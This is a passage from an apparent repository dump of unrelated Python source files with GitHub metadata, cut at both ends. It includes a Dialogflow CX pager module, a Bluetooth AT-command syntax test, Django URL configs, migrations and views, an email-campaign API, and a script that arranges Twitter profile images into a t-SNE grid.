cla > 0: fout.write('{0:.5f} {1}\n'.format(cla, term)) fout.close()

[ "kevingeother@gmail.com" ]

kevingeother@gmail.com

265d6825cd82f68df2382d418affb36d4224c0cc

7acfc3786be1ff95cf1e4ce821596ea33aedb26d

/google/cloud/dialogflowcx_v3beta1/services/experiments/pagers.py

d01901a52ff83f9208342870d4a2f9ef4210fd5b

[ "Apache-2.0" ]

permissive

CristianPachacama/python-dialogflow-cx

ee483c0bf7e179165ea34dc59c04d9c9e262db95

f7551f73a414ea39df936b02ec2d7112f7922858

refs/heads/master

2023-03-13T04:28:45.095088

2021-03-03T18:00:29

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# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from typing import Any, AsyncIterable, Awaitable, Callable, Iterable, Sequence, Tuple from google.cloud.dialogflowcx_v3beta1.types import experiment class ListExperimentsPager: """A pager for iterating through ``list_experiments`` requests. This class thinly wraps an initial :class:`~.experiment.ListExperimentsResponse` object, and provides an ``__iter__`` method to iterate through its ``experiments`` field. If there are more pages, the ``__iter__`` method will make additional ``ListExperiments`` requests and continue to iterate through the ``experiments`` field on the corresponding responses. All the usual :class:`~.experiment.ListExperimentsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., experiment.ListExperimentsResponse], request: experiment.ListExperimentsRequest, response: experiment.ListExperimentsResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (:class:`~.experiment.ListExperimentsRequest`): The initial request object. response (:class:`~.experiment.ListExperimentsResponse`): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = experiment.ListExperimentsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[experiment.ListExperimentsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[experiment.Experiment]: for page in self.pages: yield from page.experiments def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListExperimentsAsyncPager: """A pager for iterating through ``list_experiments`` requests. This class thinly wraps an initial :class:`~.experiment.ListExperimentsResponse` object, and provides an ``__aiter__`` method to iterate through its ``experiments`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListExperiments`` requests and continue to iterate through the ``experiments`` field on the corresponding responses. All the usual :class:`~.experiment.ListExperimentsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., Awaitable[experiment.ListExperimentsResponse]], request: experiment.ListExperimentsRequest, response: experiment.ListExperimentsResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (:class:`~.experiment.ListExperimentsRequest`): The initial request object. response (:class:`~.experiment.ListExperimentsResponse`): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = experiment.ListExperimentsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[experiment.ListExperimentsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[experiment.Experiment]: async def async_generator(): async for page in self.pages: for response in page.experiments: yield response return async_generator() def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response)

[ "noreply@github.com" ]

CristianPachacama.noreply@github.com

7fc6b81da77121a50cda6fe665daa400518eaf82

9506f274c68f5436d967fbcec6fbcb21842a0568

/scripts/P2 Features/A2DP/A_BX_BT_SRA2DPCFG_0001.py

315158744c6014f622654a9b3f06107a22423315

[]

no_license

txthuong/txthuong

7561e57328ad1ea1b4c4c3a2c47d204a0ae45d8c

edfbf6079807662e6e6fa2791684f9e3d466ee75

refs/heads/master

2020-03-16T21:10:52.228480

2019-07-23T11:45:08

132,987,797

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1

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UTF-8

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# Test Name Description # A_BX_BT_SRA2DPCFG_0001 Check syntax of +SRA2DPCFG command with valid values, invalid values and values out of range # # Requirement # 1 Euler module # # Author: ptnlam # # Jira ticket: #----------------------------------------------------------------------------------------------------- # -------------------------- DUT Initialization ---------------------------------- test_environment_ready = "Ready" try: print "\n------------Test Environment check: Begin------------" # UART Initialization print "\nOpen AT Command port" uart_com = SagOpen(uart_com, 115200, 8, "N", 1, "None") # Display DUT information print "\nDisplay DUT information" print "\nGet model information" SagSendAT(uart_com, 'AT+FMM\r') SagWaitnMatchResp(uart_com, ['*\r\nOK\r\n'], 2000) print "\nGet serial number" SagSendAT(uart_com, 'AT+CGSN\r') SagWaitnMatchResp(uart_com, ['*\r\nOK\r\n'], 2000) print "\nGet revision information" SagSendAT(uart_com, 'ATI3\r') SagWaitnMatchResp(uart_com, ['*\r\nOK\r\n'], 2000) # DUT Initialization print "\nInitiate DUT" SagSendAT(uart_com, 'AT\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nDUT: Enable subsystem\n" SagSendAT(uart_com, 'AT+SRBTSYSTEM=1\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) except Exception, e: print "***** Test environment check fails !!!*****" print type(e) print e test_environment_ready = "Not_Ready" print "\n------------Test Environment check: End------------" print "\n----- Test Body Start -----\n" # ----------------------------------------------------------------------------------- # A_BX_BT_SRA2DPCFG_0001 # ----------------------------------------------------------------------------------- test_ID = "A_BX_BT_SRA2DPCFG_0001" ####################################################################################### # START ####################################################################################### try: if test_environment_ready == "Not_Ready" or VarGlobal.statOfItem == "NOK": raise Exception("---->Problem: Test Environment Is Not Ready !!!") print "*****************************************************************************************************************" print "%s: Check syntax of +SRA2DPCFG command with valid values, invalid values and values out of range" % test_ID print "*****************************************************************************************************************" bt_addr = '00:11:22:aa:bb:cc' print "\nStep 1: Check +SRA2DPCFG test command\n" SagSendAT(uart_com, 'AT+SRA2DPCFG=?\r') SagWaitnMatchResp(uart_com, ['\r\nERROR\r\n'], 2000) print "\nStep 2: Checking +SRA2DPCFG execute command\n" SagSendAT(uart_com, 'AT+SRA2DPCFG\r') SagWaitnMatchResp(uart_com, ['\r\nERROR\r\n'], 2000) print "\nStep 3: Checking +SRA2DPCFG read command\n" SagSendAT(uart_com, 'AT+SRA2DPCFG?\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nStep 4: Checking +SRA2DPCFG read command\n" SagSendAT(uart_com, 'AT+SRA2DPCFG?\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nStep 5: Configure I2S with the default values\n" SagSendAT(uart_com, 'AT+KI2SCFG=0,1\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nStep 6: Configure BTC to be discoverable and connectable\n" SagSendAT(uart_com, 'AT+SRBTSTATE=1,2\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nStep 7: Enable BTC A2DP profile and use the codec of the dev kit\n" SagSendAT(uart_com, 'AT+SRA2DPSTATE=1,1\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nStep 8: Check syntax of +SRA2DPCFG command with valid values\n" SagSendAT(uart_com, 'AT+SRA2DPCFG=%s\r' %bt_addr) SagWaitnMatchResp(uart_com, ['\r\n+SRBTCFG: 1,0,"%s",A2DP\r\n' %bt_addr], 2000) SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) print "\nStep 9: Check syntax of +SRA2DPCFG command with invalid values\n" for i in ('-11:22:-33:AA:BB:CC', 'GG:HH:11:22:FF:33', 'FF:FF:FF::FF:FF', '11:22:33:44:55:666', '11:22:#:44:55:66', 'AA:BB:CC', 'GG:HH:11:22:FF:33:44'): SagSendAT(uart_com, 'AT+SRA2DPCFG=%s\r' %i) SagWaitnMatchResp(uart_com, ['\r\n+CME ERROR: 916\r\n'], 2000) print "\nStep 10: Check syntax of +SRA2DPCFG command with additional values\n" SagSendAT(uart_com, 'AT+SRA2DPCFG=%s,1\r' %bt_addr) SagWaitnMatchResp(uart_com, ['\r\n+CME ERROR: 915\r\n'], 2000) print "\nStep 11: Missing parameter\n" SagSendAT(uart_com, 'AT+SRA2DPCFG=\r') SagWaitnMatchResp(uart_com, ['\r\n+CME ERROR: 917\r\n'], 2000) print "\nStep 12: Check +SRA2DPCFG read command with extra characters\n" SagSendAT(uart_com, 'AT+SRA2DPCFG?a1\r') SagWaitnMatchResp(uart_com, ['\r\nERROR\r\n'], 2000) print "\nTest Steps completed\n" except Exception, err_msg : VarGlobal.statOfItem = "NOK" print Exception, err_msg SagSendAT(uart_com, 'AT&F\r') SagWaitnMatchResp(uart_com, ['*\r\nREADY\r\n'], 2000) #Print test result PRINT_TEST_RESULT(test_ID, VarGlobal.statOfItem) # ----------------------------------------------------------------------------------- print "\n----- Test Body End -----\n" print "-----------Restore Settings---------------" # Restore BT state to default SagSendAT(uart_com, "AT+KI2SCFG=0,0\r") SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) SagSendAT(uart_com, "AT+SRBTSTATE=0,0\r") SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) SagSendAT(uart_com, "AT+SRA2DPSTATE=0,0\r") SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) SagSendAT(uart_com, 'AT+SRBTSYSTEM=0\r') SagWaitnMatchResp(uart_com, ['\r\nOK\r\n'], 2000) # Close UART SagClose(uart_com)

[ "txthuong@tma.com.vn" ]

txthuong@tma.com.vn

b115f38fdafd6cb3aaa417248fdba813ecf0d6b0

b7cf7906456b46c7afce7efd16866cf01be850fe

/compiler/coding_problems/urls.py

32bcd822e9aa540e2b775581d5153cedc8adc5d8

[]

no_license

Abhishek51882/code_problems

67b0d048d6817f05d67cad704235298e471f6727

d455862a71a2c020d4df3a39f66290e6be642627

refs/heads/master

2022-12-25T01:58:25.292163

2020-10-06T06:39:04

301,635,684

0

null

UTF-8

Python

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1,266

py

"""assessment_project URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path,include from . import views urlpatterns = [ path('admin/', admin.site.urls), path('', views.home, name="home"), path('accounts/', include("accounts.urls")), path('accounts/', include("django.contrib.auth.urls")), path('thanks/', views.ThanksPage.as_view(), name="thanks"), path('about/', views.about_view, name="about"), path('problems/', include("problems.urls", namespace="problems")), path('compiler/', include("compiler.urls", namespace="compiler")), path('feedback/', include("feedback.urls", namespace="feedback")), ]

[ "av51882@gmail.com" ]

av51882@gmail.com

c2ea0ec2e21e9047ed990c7351593ad82edc44ad

536bce6ca78a9a151247b51acb8c375c9db7445f

/chapter1/1.5-interest_rate.py

15aba2121680fc7d7fffc673afd05db59b2923ce

[]

no_license

clicianaldoni/aprimeronpython

57de34313f4fd2a0c69637fefd60b0fb5861f859

a917b62bec669765a238c4b310cc52b79c7df0c9

refs/heads/master

2023-01-28T18:02:31.175511

2023-01-23T08:14:57

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2017-12-02T19:55:40

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UTF-8

Python

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py

p = 5 # Interest rate % A = 1000 # Initial amount years = 3 # Number of years to grow # Formula for calculating sum: A(1 + p/100)^n # To avoid integer division we convert p to float sum = A * (1 + (float(p)/100))**years print("After %g years with %g%% interest rate and an initial amount of %g we have %g." % (years, p, A, sum)) """ Unix>python interest_rate.py After 3 years with 5% interest rate and an initial amount of 1000 we have 1157.63. """

[ "martin@rodvand.net" ]

martin@rodvand.net

7ec56d1dfd873785b0db9c891aacd95142031aa1

6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4

/sQN3Jb43teMbC7rGJ_18.py

795c8a4678747c53bbb24bcd6b59c6e238410b4e

[]

no_license

daniel-reich/ubiquitous-fiesta

26e80f0082f8589e51d359ce7953117a3da7d38c

9af2700dbe59284f5697e612491499841a6c126f

refs/heads/master

2023-04-05T06:40:37.328213

2021-04-06T20:17:44

355,318,759

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py

def make_transpose(m): dm = len(m) dn = len(m[0]) tm = [[0] * dm for i in range(dn)] for i in range(dm): for j in range(dn): tm[j][i] = m[i][j] return tm

[ "daniel.reich@danielreichs-MacBook-Pro.local" ]

daniel.reich@danielreichs-MacBook-Pro.local

de681ef73109deb87e8eca8a85ca41f4a5406653

ffe719712c7e8ddc4619f279f35d8f2c0208cd6f

/conditions_map/migrations/0002_auto_20191221_0604.py

8c06e32e01d5e15df223e459ac8b13782593f35e

[]

no_license

nathangthomas/memd_map

e1524cae909ba6ba9d6774ad4d0ded8b5a96a85b

53eb74e6db9aa67c4befac1b6449dfdb6991dd43

refs/heads/master

2020-11-27T09:48:55.170517

2019-12-21T06:20:27

null

0

null

UTF-8

Python

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427

py

# Generated by Django 3.0 on 2019-12-21 06:04 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('conditions_map', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='conditions', name='lat', ), migrations.RemoveField( model_name='conditions', name='lng', ), ]

[ "nathan.gordon.thomas@gmail.com" ]

nathan.gordon.thomas@gmail.com

fb6708c5a3ede43aa3e2e030027e0af0cfda6843

e495621ac02e83497f4b738a56c53195d7c8b32d

/archlinuxcn/ciel/lilac.py

335c0b8def533d76c16440010eabcee33b3f10a6

[]

no_license

Degu83/repo

46cd10524ce01dfb387695de18d95f9b7561e8c8

089de35e03813ab2591ba4e7d6964bbd7cb6795f

refs/heads/master

2023-07-11T07:02:48.547031

2021-08-13T08:24:25

null

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#!/usr/bin/env python3 from lilaclib import * def pre_build(): newver = _G.newver.lstrip('v') for line in edit_file('PKGBUILD'): if line.strip().startswith('_pkgver='): print(f'_pkgver={newver}') elif line.strip().startswith('pkgver='): print(f'pkgver={newver.replace("-", "")}') else: print(line) def post_build(): git_pkgbuild_commit() update_aur_repo()

[ "self@origincode.me" ]

self@origincode.me

8689095f309f8f0f06c8210f9d50b4d8741d9f14

337eeee7717762319406e06c9084684f8f705a00

/blog/migrations/0001_initial.py

9abd7007806b47d8c25f63525b73ae4d25c14874

[]

no_license

suntian123/my_blog

aa90700f05cec8d0ff7edc3e417df9fa49e70f40

fcc165fc1f46dbdd92598cbc57b0ed777ffe2520

refs/heads/master

2020-03-19T16:38:54.259239

2018-07-03T02:37:20

136,723,185

0

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UTF-8

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# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2018-06-09 14:52 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Category', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ], ), migrations.CreateModel( name='Post', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=70)), ('body', models.TextField()), ('created_time', models.DateTimeField()), ('modified_time', models.DateTimeField()), ('excerpt', models.CharField(blank=True, max_length=200)), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='blog.Category')), ], ), migrations.CreateModel( name='Tag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ], ), migrations.AddField( model_name='post', name='tags', field=models.ManyToManyField(blank=True, to='blog.Tag'), ), ]

[ "tians2@uci.edu" ]

tians2@uci.edu

e1f9abb2791d8b1cf13999370c0ad2eb2eb9b3ae

de84d318b7cd51a5ecb05c993539504954008c8d

/oscar/apps/partner/views.py

c0366f2c7a49457facdbb6fa6c90e8b223926a92

[]

no_license

ShaonMahmood/vicommerce

919f6c78371519e5583081257a4cc7f55a34c040

319eff3ebb0478f794f9390a4cb5c450a85263d1

refs/heads/master

2020-03-28T16:09:40.812385

2018-09-13T16:24:01

148,665,420

0

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py

# Create your views here. from django.http import HttpResponseRedirect from django.shortcuts import render from django.views import View from oscar.apps.catalogue.models import Product from oscar.apps.partner.models import StockRecord from oscar.apps.partner.strategy import Selector from .forms import MyForm # class MyFormView(View): # form_class = MyForm # template_name = 'partner/partner_form.html' # # def get(self, request, *args, **kwargs): # pk = kwargs.get("pk","") # obj = Product.objects.get(id=pk) # strategy = Selector().strategy() # stock = strategy.fetch_for_product(obj) # data = {'product_quantity' : obj.attr.MinQuantity} # form = self.form_class(initial=data) # return render(request, self.template_name, {'form': form,'supplier_name':stock.stockrecord.partner.name, 'product_name':obj.title }) # # def post(self, request, *args, **kwargs): # pk = kwargs.get("pk", "") # obj = Product.objects.get(id=pk) # strategy = Selector().strategy() # stock = strategy.fetch_for_product(obj) # data = {'product_quantity': obj.attr.MinQuantity} # form = self.form_class(request.POST, request.FILES,initial=data) # # if form.is_valid(): # # <process form cleaned data> # formobj = form.save(commit=False) # formobj.product_name = obj.title # formobj.product_supplier = stock.stockrecord.partner.name # formobj.save() # return HttpResponseRedirect('/success/') # # return render(request, self.template_name, {'form': form, 'supplier_name':stock.stockrecord.partner.name, 'product_name':obj.title}) def form_view(request,pk): # if this is a POST request we need to process the form data if request.method == 'POST': obj = Product.objects.get(id=pk) strategy = Selector().strategy() stock = strategy.fetch_for_product(obj) # data = {'product_quantity': obj.attr.MinQuantity} # create a form instance and populate it with data from the request: form = MyForm(request.POST,request.FILES) # check whether it's valid: if form.is_valid(): # process the data in form.cleaned_data as required # ... # redirect to a new URL: formobj = form.save(commit=False) formobj.product_name = obj.title formobj.product_supplier = stock.stockrecord.partner.name formobj.save() return HttpResponseRedirect('/thanks/') # if a GET (or any other method) we'll create a blank form else: obj = Product.objects.get(id=pk) strategy = Selector().strategy() stock = strategy.fetch_for_product(obj) data = {'product_quantity': obj.attr.MinQuantity} form = MyForm(initial=data) return render(request, 'partner/partner_form.html', {'form': form,'supplier_name':stock.stockrecord.partner.name, 'product_name':obj.title})

[ "mahmood.habib.261342@gmail.com" ]

mahmood.habib.261342@gmail.com

323664148f073262425798de48cacd421a368bff

fe07834f429c8f5692b4dc72ea254cca84abca72

/Email-Campaign-Backend/email_service/campaign/views.py

407f426a004dd8871d6270a1e348526fda30272e

[]

no_license

PS-CR7/Email-Campaign

c8e799a10b8e2752bccef82890c33beee09df014

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refs/heads/master

2023-02-18T14:55:01.565510

2021-01-23T08:48:26

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from django.shortcuts import render # Create your views here. from rest_framework.decorators import action from rest_framework.response import Response from rest_framework.viewsets import GenericViewSet from .models import EmailCampaign, EmailTemplate from django.core.mail import EmailMessage from django.db import transaction class CampaignViewSet(GenericViewSet): http_method_names = ["get", "post"] @transaction.atomic() @action(methods=["post"], detail=False, url_path="create-template") def create_template(self, request): data = request.data title = data.get('title', '') content = data.get('content', '<p></p>') if title=='' or content=='': return Response({"message":"One of the fields is empty."}) if title not in EmailTemplate.objects.values_list('title',flat=True): email_template = EmailTemplate.objects.create(title=title, content=content) return Response({'id': email_template.id,"message":"success"}) else: return Response({"message":"Already exists"}) @transaction.atomic() @action(methods=['post'], detail=False, url_path="create-campaign") def create_campaign(self, request): try: data = request.data email_id = data.get('email_id') title = data.get('title') subject = data.get('subject') from_name = data.get('from_name') from_mail =data.get('from_mail') reply_mail = data.get('reply_mail') reply_name = data.get('reply_name') check_in = [title, subject, from_mail, from_name, reply_mail, data.get('to_Email')] if ( (any(x is None for x in check_in )) or ( any(x is '' for x in check_in )) ): return Response({"message":"One/more of the fields is empty."}) email_to = '' for email in data.get('to_Email'): email_to +=str(email)+',' email_to = email_to [:-1] email_template = EmailTemplate.objects.get(title = email_id) if title not in EmailCampaign.objects.values_list('title',flat=True): email_campaign = EmailCampaign.objects.create( title= title,subject=subject,from_name=from_name,from_mail=from_mail, reply_mail=reply_mail, reply_name=reply_name,email_to=email_to, email=email_template, status=0, ) return Response({'campaign_name': title,"message":"success"}) else: return Response({'message': 'Campaign already exists'}) except Exception as e: print(e) return Response({"message":'Error'}) @transaction.atomic() @action(methods=['post'], detail=False, url_path="edit-campaign") def edit_campaign(self, request): data = request.data email_id = data.get('email_id') title = data.get('title') subject = data.get('subject') from_name = data.get('from_name') from_mail = data.get('from_mail') reply_mail = data.get('reply_mail') reply_name = data.get('reply_name') check_in = [title, subject, from_mail, from_name, reply_mail,data.get('to_Email')] if ( (any(x is None for x in check_in )) or ( any(x is '' for x in check_in )) ): return Response({"message":"One/more of the fields is empty."}) email_to = '' for email in data.get('to_Email'): email_to +=str(email)+',' email_to = email_to [:-1] email_template = EmailTemplate.objects.get(title=email_id) email_campaign = EmailCampaign.objects.filter(title=title).update( title=title, subject=subject, from_name=from_name, from_mail=from_mail, reply_mail=reply_mail, reply_name=reply_name, email_to=email_to, email=email_template, ) return Response({"email_campaign_title": title,"message":"success"}) @action(methods=['post'], detail=False, url_path="send-campaign") def send_campaign(self, request): # import pdb # pdb.set_trace() data = request.data email_campaign_id = data.get('title') email_campaign = EmailCampaign.objects.get(title=email_campaign_id) email = EmailMessage( subject = email_campaign.subject, body = email_campaign.email.content, from_email = email_campaign.from_mail, to = email_campaign.email_to.split(','), reply_to = [email_campaign.reply_mail]) email.content_subtype = "html" email.send() return Response({'message': 'success'}) @action(methods=['get'], detail=False, url_path="get-all-campaign") def get_all_campaigns(self, request): email_campaigns = EmailCampaign.objects.all() campaign_data = [] for email_campaign in email_campaigns: campaign_info = {} campaign_info['id'] = email_campaign.id campaign_info['title'] = email_campaign.title campaign_info['email'] = email_campaign.email.title campaign_info['subject'] = email_campaign.subject campaign_info['from'] = email_campaign.from_mail campaign_info['reply'] = email_campaign.reply_mail campaign_info['email_to'] = email_campaign.email_to campaign_data.append(campaign_info) return Response({'campaign_data': campaign_data}) @action(methods=['get'], detail=False, url_path="get-all-emails") def get_all_emails(self, request): email_campaigns = EmailTemplate.objects.all() campaign_data = [] for email_campaign in email_campaigns: campaign_info = {} campaign_info['id'] = email_campaign.id campaign_info['title'] = email_campaign.title campaign_info['content'] = email_campaign.content campaign_data.append(campaign_info) # print(campaign_data) return Response({'campaign_data': campaign_data}) @action(methods=['get'], detail=False, url_path="get-email-campaign") def get_email_campaign(self, request): campaign_id = request.GET.get('email_campaign_id') email_campaign = EmailCampaign.objects.filter(title=campaign_id) if email_campaign: return Response({'email_sent': email_campaign[0].email_to})

[ "rks333999@gmail.com" ]

rks333999@gmail.com

ede98906221ceb5af90a8e165e9a48203a10f212

a1dae20db0338e735f0b4eb2804a069533bc5a9b

/render.py

f36dcfdfed83a87bd98faa44c513dbe54b05c932

[]

no_license

thoppe/TwitterSquares

4d78e80680c3b01673d602c2564811bf42090aa6

a01dd65456fa70478a0ed03cd7c994c0a678e3ef

refs/heads/master

2020-03-20T08:17:42.525989

2018-06-19T22:05:20

137,304,270

3

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UTF-8

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4,058

py

"""Render Twitter Squares Usage: render.py <term> <n_images> [--resolution=<n>] Options: -h --help Show this screen. -r --resolution=<n> Output resolution [default: 1200] """ import glob import os import sys import random from tqdm import tqdm import numpy as np import cv2 from docopt import docopt dargs = docopt(__doc__) total_images = int(dargs["<n_images>"]) square_n = int(np.sqrt(total_images)) resolution = int(dargs["--resolution"]) if square_n**2 != total_images: raise ValueError(f"<n_images={total_images}> must be a square number!") max_image_row_size = 20 #model_img_size = 224 model_img_size = 299 name = dargs["<term>"] load_dest = f"data/profile_image/{name}" subimage_dest = f"data/subimage/{name}" activations_dest = f"data/activations/{name}" figure_dest = "figures/" def resize_and_crop(f0): # Resize all the images to the base shape of (model_img_size,model_img_size) # Center crop non-square images f1 = os.path.join(subimage_dest, os.path.basename(f0)) + '.jpg' if os.path.exists(f1): return False img = cv2.imread(f0) if img is None: os.remove(f0) return False x,y,c = img.shape if x > y: dx = (x - y)//2 img = img[dx:dx+y, :, :] if y > x: dy = y - x img = img[:, dy:dy+x, :] img = cv2.resize(img, (model_img_size,model_img_size)) x,y,c = img.shape assert(x==y==model_img_size) cv2.imwrite(f1, img) #print ("Saved", f1) def load_image_data(): F_INPUT = sorted(glob.glob(os.path.join(subimage_dest, '*'))) random.shuffle(F_INPUT) F_INPUT = F_INPUT[:total_images] IMG, ACT = [], [] for f0 in tqdm(F_INPUT): f1 = os.path.join(activations_dest, os.path.basename(f0))+'.txt' assert(os.path.exists(f1)) img = cv2.imread(f0) IMG.append(img) ACT.append(np.loadtxt(f1)) IMG = np.array(IMG) ACT = np.array(ACT) return IMG, ACT _clf = None # Only import the model if we need to score something def compute_activations(f0): f1 = os.path.join(activations_dest, os.path.basename(f0)) + '.txt' if os.path.exists(f1): return False global _clf if _clf is None: print("Importing classification model") from model import layer_model _clf = layer_model() img = cv2.imread(f0) img = img[:,:,::-1] # BGR to RGB ax = _clf.predict(img) np.savetxt(f1, ax) if __name__ == "__main__": # Create any missing directories for d in [subimage_dest, figure_dest, activations_dest]: if not os.path.exists(d): os.system(f'mkdir -p "{d}"') F_IN = set(sorted(glob.glob(os.path.join(load_dest, '*')))) # Remove all zero-byte files for f in list(F_IN): if os.stat(f).st_size==0: print(f"Removing zero-byte file {f}") os.remove(f) F_IN.remove(f) for f0 in tqdm(F_IN): resize_and_crop(f0) print(f"Largest model possible {int(np.floor(len(F_IN)**0.5)**2)}") F_IN = set(sorted(glob.glob(os.path.join(subimage_dest, '*')))) for f0 in tqdm(F_IN): compute_activations(f0) # Check to make sure we have enough images F_IN = set(sorted(glob.glob(os.path.join(activations_dest, '*')))) if len(F_IN) < total_images: msg = f"Not enough images for {name}, {len(F_IN)}/{total_images}" raise ValueError(msg) IMG, ACT = load_image_data() from grid import generate_tsne, fit_to_grid print("Generating tSNE coordinates") X = generate_tsne(ACT) print("Running Jonker-Volgenan") img = fit_to_grid(IMG, X, square_n, out_res=model_img_size) print("Resizing image") img = cv2.resize( img, (resolution, resolution), interpolation=cv2.INTER_CUBIC) f_img_save = os.path.join(figure_dest, f"{name}.jpg") cv2.imwrite( f_img_save, img, [int(cv2.IMWRITE_JPEG_QUALITY), 95]) print (f"Saved output image to {f_img_save}") os.system(f'eog "figures/{name}.jpg"')

[ "travis.hoppe@gmail.com" ]

travis.hoppe@gmail.com

ffea19ab0a9ee990515424ae3b8b5e47593e62f3

17b423540da45db7365e96a79b0bff5b27851b76

/Recsys_Challenge_Trailmix/Recsys_Challenge_Trailmix_CODEONLY/Model_QQ/preprocess.py

11464ec46a7690de375b19a203ef20e6a08ef7f6

[ "Apache-2.0" ]

permissive

VickyYu7/RecSys-Challenge-2018-Trailmix

0174e7b373fbe73b151e80dd24c2c56991da82d7

27a3524c9cd397b62f7c008bd0b79a81fa16a852

refs/heads/master

2023-03-16T15:54:15.425798

2018-07-03T15:35:56

null

0

null

UTF-8

Python

false

17,301

py

# import json # import numpy as np # # a = json.load(open('PL_TRACKS_ALL.json')) # # x = 0 # '864737' 376 # y = 1000 # '54' 5 # for i in range(len(a)): # if len(a[str(i)]) > x: # x = len(a[str(i)]) # g = i # if len(a[str(i)]) < y: # y = len(a[str(i)]) # k = i # # # name = [] # for i in range(len(a)): # #if i % 10000 == 0: # print(i) # for j in range(len(a[str(i)])): # if a[str(i)][j] not in name: # name.append(a[str(i)][j]) # # for i in range(len(a)): # if i % 10000 == 0: # print(i) # for j in range(len(a[str(i)])): # name.append(a[str(i)][j]) # # name = np.unique(name) # # # # # b = np.asarray(name) # # np.save('song_name.py', b) # b = np.load('song_name.py.npy') # # import copy # c = copy.deepcopy(a) # num_of_song = len(b) # # # for i in range(len(a)): # # #if i % 10000 == 0: # # print(i) # # for j in range(len(a[str(i)])): # # c[str(i)][j] = int(np.where(b == a[str(i)][j])[0]) # # # for k in range(num_of_song): # # # if b[k] == a[str(i)][j]: # # # c[str(i)][j] = k+1 # # map = np.zeros([8, 75, 75], dtype=np.int) # for i in range(len(b)): # map[ord(b[i][0])-48, ord(b[i][1]) - 48, ord(b[i][2]) - 48] += 1 # # # Cmap = np.reshape(np.cumsum(map), [8, 75, 75]) # # for i in range(len(a)): # if i % 10000 == 0: # print(i) # for j in range(len(a[str(i)])): # tmp1 = ord(a[str(i)][j][0]) - 48 # tmp2 = ord(a[str(i)][j][1]) - 48 # tmp3 = ord(a[str(i)][j][2]) - 48 # s2 = Cmap[tmp1, tmp2, tmp3] # s1 = Cmap[tmp1, tmp2, tmp3] - map[tmp1, tmp2, tmp3] # tmpb = b[s1:s2] # c[str(i)][j] = s1 + int(np.where(tmpb == a[str(i)][j])[0]) # # qq = 0 # for i in range(len(a)): # if i % 10000 == 0: # print(i) # for j in range(len(a[str(i)])): # if a[str(i)][j] == b[c[str(i)][j]]: # qq += 1 # # # # with open('Map.json', 'w') as fp: # # json.dump(c, fp) # # c = json.load(open('Map.json')) # # output = open("all.txt", 'a') # for i in range(len(a)): # if i % 10000 == 0: # print(i) # for j in range(len(a[str(i)])): # line = str(i) + '\t' + str(c[str(i)][j]) + '\n' # output.write(line) # output.close() # # with open("all.txt") 